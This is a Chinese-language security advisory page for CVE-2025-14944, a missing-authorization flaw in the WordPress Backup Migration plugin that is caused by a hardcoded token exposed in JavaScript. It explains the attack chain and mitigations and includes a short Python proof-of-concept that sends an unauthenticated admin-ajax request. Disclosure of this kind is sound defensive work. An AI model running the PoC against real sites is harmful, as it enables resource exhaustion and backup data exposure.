IPBUF安全漏洞报告
English
CVE-2025-14944 CVSS 5.3 中危

CVE-2025-14944 WordPress Backup Migration插件权限缺失漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2025-14944
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Backup Migration Plugin

相关标签

权限缺失WordPressBackup Migration资源耗尽CVE-2025-14944

漏洞概述

WordPress的Backup Migration插件在所有版本(包括2.0.0及以下)中存在缺失授权漏洞。由于`initializeOfflineAjax`函数缺少能力检查,且缺乏适当的nonce验证,仅依赖JavaScript中公开的硬编码令牌进行验证。未经身份验证的攻击者可利用此漏洞触发备份上传队列处理,导致意外的备份传输及服务器资源耗尽。

技术细节

该漏洞的核心原因在于插件对`admin-ajax.php`接口的访问控制失效。受影响的代码位于`includes/ajax_offline.php`中,`initializeOfflineAjax`函数没有调用`current_user_can`进行权限校验。此外,安全验证机制薄弱,未使用WordPress标准的Nonce机制,而是通过比对硬编码的Token来验证请求合法性。由于Token明文存储在前端JavaScript文件中(如`offline.js`),攻击者可以轻易提取。攻击者只需构造包含该Token的特定AJAX请求发送至服务器,即可无需认证触发后台耗时的备份上传任务,进而造成服务器资源(CPU/内存/带宽)耗尽或数据泄露。

攻击链分析

STEP 1
信息收集
攻击者访问目标WordPress站点,读取前端页面的HTML源码或插件加载的JavaScript文件,搜索并提取用于验证的硬编码Token。
STEP 2
构造请求
攻击者利用获取到的Token,构造一个指向`/wp-admin/admin-ajax.php`的POST请求,参数包含`action=backup_migration_initialize_offline`及提取的Token。
STEP 3
触发漏洞
服务器接收到请求后,由于缺少权限检查且Token验证通过,执行`initializeOfflineAjax`函数,开始处理备份上传队列。
STEP 4
造成影响
服务器资源被占用以执行备份任务,可能导致服务拒绝(DoS),或备份数据被传输至攻击者可控或预期的外部存储位置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # The hardcoded token is usually found in the plugin's JS files (e.g., offline.js) # Example: var bm_token = "1234567890abcdef"; hardcoded_token = "REPLACE_WITH_ACTUAL_TOKEN_FROM_JS" # Data payload based on vulnerable function payload = { "action": "backup_migration_initialize_offline", "token": hardcoded_token, "backup_id": "trigger_exhaustion" # Arbitrary data to trigger processing } headers = { "User-Agent": "CVE-2025-14944-PoC", "Content-Type": "application/x-www-form-urlencoded" } try: # Send unauthenticated POST request response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if backup processing started.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Backup Migration <= 2.0.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Backup Migration插件。管理员可以通过服务器配置(如Apache的.htaccess或Nginx规则)限制对`wp-admin/admin-ajax.php`的POST请求,仅允许受信任的IP访问,或者直接阻止包含`backup_migration_initialize_offline`动作的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表